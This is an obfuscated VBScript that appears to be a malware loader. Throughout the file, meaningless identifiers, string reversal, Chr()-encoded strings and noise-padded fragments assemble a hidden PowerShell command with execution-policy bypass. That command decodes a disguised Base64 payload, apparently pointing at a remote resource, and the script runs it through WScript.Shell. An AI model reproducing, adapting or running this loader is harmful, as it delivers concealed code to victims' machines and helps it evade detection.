BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj = BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj + "(hcuKaeuOtecyKKixcntohaKlveplJuPDcRixNNejqbZDZzKuAZGRAeotquxnOsguRPKuNucDouWaJJxlLuyqphuGpKPLuebeCgDboqvNRcbQDWIjujcCMPyldjjHK)"
execute(BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj)
End Function
Function WgxmmpHmXnyQLQRlLgNfWWLyxJCNfWULJAkumymUoJCmLADmfDijGNyCOaAcGhicqyWrdOAjqgDHJoMCwkcCXwufpmsZWZXtmGmpuyAjfXdxQuXLwWLSymLLMKIUHCyoc(bGtxxiYrLONKQKyeKGYbbWcatgNYbewQqOgNqGqwKcokqOHkKGykJjaDUuybqIybgxSHzUyKgGkCqGxoXOTULXDbQkrXbDTwqqxTnGhBKLztKcLqXeOUxSKxgKprCoNWk,KjbRRlPAWGNgkgJRbjnNKRNdbScnNgfkMyyYYbYfQicfByTfOoDeBedAyPrvWWDvcmdYXyrLcjAKMuScMlPTWMGNcfOgKTcAsWRcbbDoOWXbgYWBMgBcmlbchplKKcNOx,jkffAlkbcZqTBdIhHBnKjCHuGWgDbCfGydASHaAfphZBzdYBLJTUGuJfAPWQJcTcWUQTtANJqBkNyvGBeLKpcWAKNxJWjRqaObAgLacSikxfTfcGWRwLUaUnOsNnNQQDq)
WgxmmpHmXnyQLQRlLgNfWWLyxJCNfWULJAkumymUoJCmLADmfDijGNyCOaAcGhicqyWrdOAjqgDHJoMCwkcCXwufpmsZWZXtmGmpuyAjfXdxQuXLwWLSymLLMKIUHCyoc = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(bGtxxiYrLONKQKyeKGYbbWcatgNYbewQqOgNqGqwKcokqOHkKGykJjaDUuybqIybgxSHzUyKgGkCqGxoXOTULXDbQkrXbDTwqqxTnGhBKLztKcLqXeOUxSKxgKprCoNWk, KjbRRlPAWGNgkgJRbjnNKRNdbScnNgfkMyyYYbYfQicfByTfOoDeBedAyPrvWWDvcmdYXyrLcjAKMuScMlPTWMGNcfOgKTcAsWRcbbDoOWXbgYWBMgBcmlbchplKKcNOx, jkffAlkbcZqTBdIhHBnKjCHuGWgDbCfGydASHaAfphZBzdYBLJTUGuJfAPWQJcTcWUQTtANJqBkNyvGBeLKpcWAKNxJWjRqaObAgLacSikxfTfcGWRwLUaUnOsNnNQQDq)
End Function
Function nNckkmURtNCpopJKSNfXnBNWcGYfXsmoNWfbGfGmeAAdRWLdlDOlZOWRagZvKSOvzRpliaZtzNcxNORAORaUtONXIdGWnoJNsKkKWfDOlticpftROsIvRNSJfvOmxACYn(bGtxxiYrLONKQKyeKGYbbWcatgNYbewQqOgNqGqwKcokqOHkKGykJjaDUuybqIybgxSHzUyKgGkCqGxoXOTULXDbQkrXbDTwqqxTnGhBKLztKcLqXeOUxSKxgKprCoNWk)
nNckkmURtNCpopJKSNfXnBNWcGYfXsmoNWfbGfGmeAAdRWLdlDOlZOWRagZvKSOvzRpliaZtzNcxNORAORaUtONXIdGWnoJNsKkKWfDOlticpftROsIvRNSJfvOmxACYn = StrReverse(bGtxxiYrLONKQKyeKGYbbWcatgNYbewQqOgNqGqwKcokqOHkKGykJjaDUuybqIybgxSHzUyKgGkCqGxoXOTULXDbQkrXbDTwqqxTnGhBKLztKcLqXeOUxSKxgKprCoNWk)
End Function
mUKpGhNdatcvDSAPpIGddDZLqeGKPvJNhkaMYXYJgtUPhSPPGBZAlKNOoUgNiNZNgJeZWokKwIdlheNtWKCOlvQdjPBfdyxWIHGOnXXlMGbKvYldvtGLJXCQUujDlakDT = " "
LKqnUghHGBwTBMXcvKgqLYdAGIngqguByLYQcPKuJPYUKraUwDMHQwUSQeULyaxaLazxXTfKPKRNyPTYJknAGzKKMRWJLvKlhLUIfPKsGuSqTUGIJIhSaLOUWUMNDfDoK = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
nvibxWQfcSaJktbTvmIMeYGBwPSWMgUcKxSJcDUUXUxYeknIWbOvnRBcXDSIKXOWqaeOblcOOmGkbWcKaDDNcaOOmXcJeTlyQoBgXDqKdchikCcgaIQMadvspxBwkxGqG = nNckkmURtNCpopJKSNfXnBNWcGYfXsmoNWfbGfGmeAAdRWLdlDOlZOWRagZvKSOvzRpliaZtzNcxNORAORaUtONXIdGWnoJNsKkKWfDOlticpftROsIvRNSJfvOmxACYn("=#$@#QK#$@#MH#$@#0Bgb#$@#UG#$@#tBQd#$@#cG#$@#yBQY#$@#QC#$@#g#$@##$@#L#$@#wG#$@#sBQd#$@#4G#$@#k#$@##$@#K#$@#UG#$@#rBwb#$@#YH#$@#uBQS#$@#4C#$@#kBwb#$@#gG#$@#0BQ" & LKqnUghHGBwTBMXcvKgqLYdAGIngqguByLYQcPKuJPYUKraUwDMHQwUSQeULyaxaLazxXTfKPKRNyPTYJknAGzKKMRWJLvKlhLUIfPKsGuSqTUGIJIhSaLOUWUMNDfDoK & mUKpGhNdatcvDSAPpIGddDZLqeGKPvJNhkaMYXYJgtUPhSPPGBZAlKNOoUgNiNZNgJeZWokKwIdlheNtWKCOlvQdjPBfdyxWIHGOnXXlMGbKvYldvtGLJXCQUujDlakDT & LKqnUghHGBwTBMXcvKgqLYdAGIngqguByLYQcPKuJPYUKraUwDMHQwUSQeULyaxaLazxXTfKPKRNyPTYJknAGzKKMRWJLvKlhLUIfPKsGuSqTUGIJIhSaLOUWUMNDfDoK & "#$@#0G#$@#k#$@#wO#$@#kC#$@#n#$@##$@#a#$@#QH#$@#0B#$@#c#$@#oD#$@#v#$@#wL#$@#kD#$@#0#$@#gL#$@#ED#$@#1#$@#gN#$@#4C#$@#x#$@#gN#$@#ED#$@#u#$@#QM#$@#YD#$@#3#$@#wL#$@#QH#$@#sBwL#$@#kG#$@#6Bwc#$@#QD#$@#1#$@#gL#
nvibxWQfcSaJktbTvmIMeYGBwPSWMgUcKxSJcDUUXUxYeknIWbOvnRBcXDSIKXOWqaeOblcOOmGkbWcKaDDNcaOOmXcJeTlyQoBgXDqKdchikCcgaIQMadvspxBwkxGqG = WgxmmpHmXnyQLQRlLgNfWWLyxJCNfWULJAkumymUoJCmLADmfDijGNyCOaAcGhicqyWrdOAjqgDHJoMCwkcCXwufpmsZWZXtmGmpuyAjfXdxQuXLwWLSymLLMKIUHCyoc( nvibxWQfcSaJktbTvmIMeYGBwPSWMgUcKxSJcDUUXUxYeknIWbOvnRBcXDSIKXOWqaeOblcOOmGkbWcKaDDNcaOOmXcJeTlyQoBgXDqKdchikCcgaIQMadvspxBwkxGqG, LKqnUghHGBwTBMXcvKgqLYdAGIngqguByLYQcPKuJPYUKraUwDMHQwUSQeULyaxaLazxXTfKPKRNyPTYJknAGzKKMRWJLvKlhLUIfPKsGuSqTUGIJIhSaLOUWUMNDfDoK + mUKpGhNdatcvDSAPpIGddDZLqeGKPvJNhkaMYXYJgtUPhSPPGBZAlKNOoUgNiNZNgJeZWokKwIdlheNtWKCOlvQdjPBfdyxWIHGOnXXlMGbKvYldvtGLJXCQUujDlakDT + LKqnUghHGBwTBMXcvKgqLYdAGIngqguByLYQcPKuJPYUKraUwDMHQwUSQeULyaxaLazxXTfKPKRNyPTYJknAGzKKMRWJLvKlhLUIfPKsGuSqTUGIJIhSaLOUWUMNDfDoK , "Z")
Function KwyhBkKsafLeyUDuROxOcxLWLyQZwqsPZhUuTRYmmRtUBHxqUavqMqzfqazoKgyKKUgPWDphqUzBgKOcUqhJqsQdPNUQWCawHLxWARTPuTotZWLhvMHWqKqnXluBSf(str)
Dim i, WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY
WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY = ""
For i = Len(str) To 1 Step -1
WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY = WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY & Mid(str, i, 1)
Next
KwyhBkKsafLeyUDuROxOcxLWLyQZwqsPZhUuTRYmmRtUBHxqUavqMqzfqazoKgyKKUgPWDphqUzBgKOcUqhJqsQdPNUQWCawHLxWARTPuTotZWLhvMHWqKqnXluBSf = WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY
End Function
Function EEHJGoLKpRuMHdKJMTSDrXpMYZGZWrYWrNXYDICLnBBJBFllWlNPLrJZnnupXQUuTvHKKDGZLcJBnLZTnGGSlInAsyZKTMXDQrKCPGyKUJCNdGFXVZLBKCopZHOLMVpc()
Dim asciiString
asciiString = Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(67)&Chr(111)&Chr(110)&Chr(118)&Chr(101)&Chr(114)&Chr(116)&Chr(93)&Chr(58)&Chr(58)&Chr(70)&Chr(114)&Chr(111)&Chr(109)&Chr(98)&Chr(97)&Chr(115)&Chr(101)&Chr(54)&Chr(52)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)&Chr(36)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(103)&Chr(111)&Chr(46)&Chr(114)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)&Chr(40)&Chr(39)&Chr(35)&Chr(64)&Chr(36)&Chr(35)&Chr(39)&Chr(44)&Chr(39)&Chr(65)&Chr(39)&Chr(41)&Chr(32)&Chr(41)&Chr(32)&Chr(41)
EEHJGoLKpRuMHdKJMTSDrXpMYZGZWrYWrNXYDICLnBBJBFllWlNPLrJZnnupXQUuTvHKKDGZLcJBnLZTnGGSlInAsyZKTMXDQrKCPGyKUJCNdGFXVZLBKCopZHOLMVpc = asciiString
End Function
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = KwyhBkKsafLeyUDuROxOcxLWLyQZwqsPZhUuTRYmmRtUBHxqUavqMqzfqazoKgyKKUgPWDphqUzBgKOcUqhJqsQdPNUQWCawHLxWARTPuTotZWLhvMHWqKqnXluBSf("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & nvibxWQfcSaJktbTvmIMeYGBwPSWMgUcKxSJcDUUXUxYeknIWbOvnRBcXDSIKXOWqaeOblcOOmGkbWcKaDDNcaOOmXcJeTlyQoBgXDqKdchikCcgaIQMadvspxBwkxGqG & "'"
Function phLWeTRWKbUNBhLwIpKxDcaWWqeUPuWRPNWsYHPHdpKBWPddtdKNHuaNIAUPcRxHKhTWLXkcqrIKAHhKAmmKdGAZHxcLpNWXwuWDNkcWUaPYhkhUOUpWWLyacKQpIGPX()
Dim asciiStringg
asciiStringg = Chr(59)&Chr(36)&Chr(79)&Chr(87)&Chr(106)&Chr(117)&Chr(120)&Chr(100)&Chr(32)&Chr(61)&Chr(32)&Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(84)&Chr(101)&Chr(120)&Chr(116)&Chr(46)&Chr(101)&Chr(110)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(110)&Chr(103)&Chr(93)&Chr(58)&Chr(58)&Chr(85)&Chr(110)&Chr(105)&Chr(99)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(71)&Chr(101)&Chr(116)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)
phLWeTRWKbUNBhLwIpKxDcaWWqeUPuWRPNWsYHPHdpKBWPddtdKNHuaNIAUPcRxHKhTWLXkcqrIKAHhKAmmKdGAZHxcLpNWXwuWDNkcWUaPYhkhUOUpWWLyacKQpIGPX = asciiStringg
End Function
Function xcdOlPZKArsUSWehalAoGzhWmSuWWfRPZnHsAyWWGvQNKNBoHkSDHAyncKmAzqmmnBeWQxgGXroOowvUPfnPfRcsYBzzWspcWxxWzBBpLyAnAclGqbHWTjTJqewLgY(command)
POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn = "(&@5+(*($)
%%)@@%%@%))
!!?#&6
)1%$53!*/
9%@#)&9?&
/*%$4((!9$*
7@**&%%8%%)(!)(#(&(%(@%!#4!!%(*5$&*(6($@!$%/$ow
^:^@@]*
^:^@@]*
}(ll -co*
@%(*&7$
%$$&@@$$@
%$/%(#%!!*#%$%
##@%(($$((!*$%((@&@%(
%$*%$/8*!%4*%#%(@
%/%1@$!$/!!
$&(/9@!8$(%*
@%(*&7$
%$$&@@$$@
%$/%(#%!!*#%$%
##@%(($$((!*$%((@&@%(
%$*%$/8*!%4*%#%(@
%/%1@$!$/!!
$&(/9@!8$(%and " & command
POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn,"
^:^@@]*
}(","e")
POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn,"*
@%(*&7$
%$$&@@$$@
%$/%(#%!!*#%$%
##@%(($$((!*$%((@&@%(
%$*%$/8*!%4*%#%(@
%/%1@$!$/!!
$&(/9@!8$(%","m")
POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn,"(&@5+(*($)
%%)@@%%@%))
!!?#&6
)1%$53!*/
9%@#)&9?&
/*%$4((!9$*
7@**&%%8%%)(!)(#(&(%(@%!#4!!%(*5$&*(6($@!$%/$","p")
POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwne = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set QxUdOzrhgbtWGDwLvHhcqcakgPHpcgGDeWSGUUWGnlOwfvvcWfGknMkkUWjWKNGOxaqGIIBDLHntJUDqqqILgqnDgPbJqTlyroGCUUScdLoUbQgCqIkeasvbwOXwtOcKz = CreateObject(POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwne)
QxUdOzrhgbtWGDwLvHhcqcakgPHpcgGDeWSGUUWGnlOwfvvcWfGknMkkUWjWKNGOxaqGIIBDLHntJUDqqqILgqnDgPbJqTlyroGCUUScdLoUbQgCqIkeasvbwOXwtOcKz.Run POpTgobOpKUcsXxBvZPIPydATPwGIgycJDGiLvmyowOcIBGWWWUxWWAIkatGKoUjNaZUcDlcUZIgNXcpWNqOpWZcsbHJPTlyboQBjvqDdIIpjQpBWIgqaUvxqgbwgOJwn, 0, False
End Function
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb & phLWeTRWKbUNBhLwIpKxDcaWWqeUPuWRPNWsYHPHdpKBWPddtdKNHuaNIAUPcRxHKhTWLXkcqrIKAHhKAmmKdGAZHxcLpNWXwuWDNkcWUaPYhkhUOUpWWLyacKQpIGPX()
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb & EEHJGoLKpRuMHdKJMTSDrXpMYZGZWrYWrNXYDICLnBBJBFllWlNPLrJZnnupXQUuTvHKKDGZLcJBnLZTnGGSlInAsyZKTMXDQrKCPGyKUJCNdGFXVZLBKCopZHOLMVpc()
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb & ";4
@@(}@:(}]##
#}]:@(@4
(#((@(#
}((*@}
(@(@##@@}}
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
(}#}+:4@(
(}#}+:4@(
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
(}#}+:4@(
(}#}+:4@(
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
$ -windo4
(}#}+:4@(
(}#}+:4@(
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
(}#}+:4@(
(}#}+:4@(
dden -
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
(}#}+:4@(
(}#}+:4@(
ionpolicy byp4
(}#}+:4@(
(}#}+:4@(
ss -NoP4
(}#}+:4@(
(}#}+:4@(
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
$ -com4
(}#}+:4@(
(}#}+:4@(
mand $OW4
(}#}+:4@(
(}#}+:4@(
LoKlUdLNCNnylxPOsUWmUmOxalPxupWRvSGnWDlKDhfWUQhmIUZnuqDgCYaumHTaHxUwRXzWrNmlfInPSpHSpWocPhoKGewodXdHtflMCYWeCNJWMUIRQqQDMpCOWP = "4
(}#}+:4@(
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb, LoKlUdLNCNnylxPOsUWmUmOxalPxupWRvSGnWDlKDhfWUQhmIUZnuqDgCYaumHTaHxUwRXzWrNmlfInPSpHSpWocPhoKGewodXdHtflMCYWeCNJWMUIRQqQDMpCOWP + ";" + LoKlUdLNCNnylxPOsUWmUmOxalPxupWRvSGnWDlKDhfWUQhmIUZnuqDgCYaumHTaHxUwRXzWrNmlfInPSpHSpWocPhoKGewodXdHtflMCYWeCNJWMUIRQqQDMpCOWP, "")
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb, "
(@$](}
@@$$@$
}:}@(@
@$}}$#
#$*@$@}$@@$
(}#$@@$$
$", "e")
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb, "4
@@(}@:(}]##
#}]:@(@4
(#((@(#
}((*@}
(@(@##@@}}
#", "p")
ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb = JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb, "#####", "o")
xcdOlPZKArsUSWehalAoGzhWmSuWWfRPZnHsAyWWGvQNKNBoHkSDHAyncKmAzqmmnBeWQxgGXroOowvUPfnPfRcsYBzzWspcWxxWzBBpLyAnAclGqbHWTjTJqewLgY(ZDWeCHUwUaPYJHnCzCKgzUGHOJUsNYbRJDWPKccBXoDDvnihJlDLRgsKcvOnUUvOKLeUKDsflOhviGDvKYKKYbDUbYsHqQUDKDYOUsxONLKvRmnfKnnPKzKgvHOhMb)